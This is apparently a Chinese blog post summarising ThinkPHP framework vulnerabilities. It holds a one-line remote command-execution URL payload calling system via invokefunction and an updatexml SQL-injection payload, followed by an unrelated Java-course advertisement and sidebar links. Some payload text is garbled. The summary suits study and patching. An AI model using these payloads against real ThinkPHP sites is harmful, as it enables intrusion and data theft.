当前位置:网站首页>thinkphp漏洞总结
thinkphp漏洞总结
2022-08-01 23:44:00 【bhegi_seg】
目录
前言
thinkphp是一个国内轻量级的开发框架,采用php+apache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前两个版本已经停止更新,主要介绍下thinkphp5的漏洞
一、远程代码执行漏洞
1.1 影响范围
thinkphp<5.0.23
1.2 漏洞详情
这个版本中因为method方法没有准确处理变量名,导致可以在request方法中构造参数执行系统命令


二、5.x远程命令注入
由于没有开启强制路由,未对路由的控制器进行过滤,导致远程命令执行。
payload :
http://xx.xx.xx.xx/s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数
三、5.1.x SQL注入
由于服务器处理order by的参数时,未对数组进行过滤,若传入的参数为数组,则会导致漏洞产生
payload:
index.phpids[0,updatexml(0,concat(0xa,user()),0)]=1`

先自我介绍一下,小编13年上师交大毕业,曾经在小公司待过,去过华为OPPO等大厂,18年进入阿里,直到现在。深知大多数初中级java工程师,想要升技能,往往是需要自己摸索成长或是报班学习,但对于培训机构动则近万元的学费,着实压力不小。自己不成体系的自学效率很低又漫长,而且容易碰到天花板技术停止不前。因此我收集了一份《java开发全套学习资料》送给大家,初衷也很简单,就是希望帮助到想自学又不知道该从何学起的朋友,同时减轻大家的负担。添加下方名片,即可获取全套学习资料哦
边栏推荐
- TCP 可靠吗?为什么?
- How to better understand and do a good job?
- 检查 Oracle 版本的 7 种方法
- 中职网络安全竞赛B7比赛部署流程
- Secondary Vocational Network Security Competition B7 Competition Deployment Process
- Solve the port to take up
- 架构基本概念和架构本质
- numpy.isclose
- Chapter 19 Tips and Traps: Common Goofs for Novices
- Flink Yarn Per Job - Yarn应用
猜你喜欢

With a monthly salary of 12K, the butterfly changed to a new one and moved forward bravely - she doubled her monthly salary through the career change test~

6134. 找到离给定两个节点最近的节点-力扣双百代码

C语言——分支语句和循环语句

在CDH的hue上的oozie出现,提交 Coordinator My Schedule 时出错

检查 Oracle 版本的 7 种方法

软技能之UML图

Making a Simple 3D Renderer

使用Jenkins做持续集成,这个知识点必须要掌握

Quartus uses tcl files to quickly configure pins

深度学习基础-基于Numpy的循环神经网络(RNN)实现和反向传播训练
随机推荐
cmd command
论文理解【RL - Exp Replay】—— Experience Replay with Likelihood-free Importance Weights
[Camp Experience Post] 2022 Cybersecurity Summer Camp
仿牛客网项目第三章:开发社区核心功能(详细步骤和思路)
cdh6打开oozieWeb页面,Oozie web console is disabled.
The Spark of Sql join on the and and where
With a monthly salary of 12K, the butterfly changed to a new one and moved forward bravely - she doubled her monthly salary through the career change test~
When using DocumentFragments add a large number of elements
一款简洁的文件传输工具
数据机构---第五章树与二叉树---二叉树的概念---应用题
Use Jenkins for continuous integration, this knowledge point must be mastered
Get piggy homestay (short-term rental) data
problem solved
FAST-LIO2代码解析(二)
Making a Simple 3D Renderer
经典文献阅读之--DLO
PostgreSQL 基础--常用命令
JAX-based activation function, softmax function and cross entropy function
问题解决方式了
An interview question about iota in golang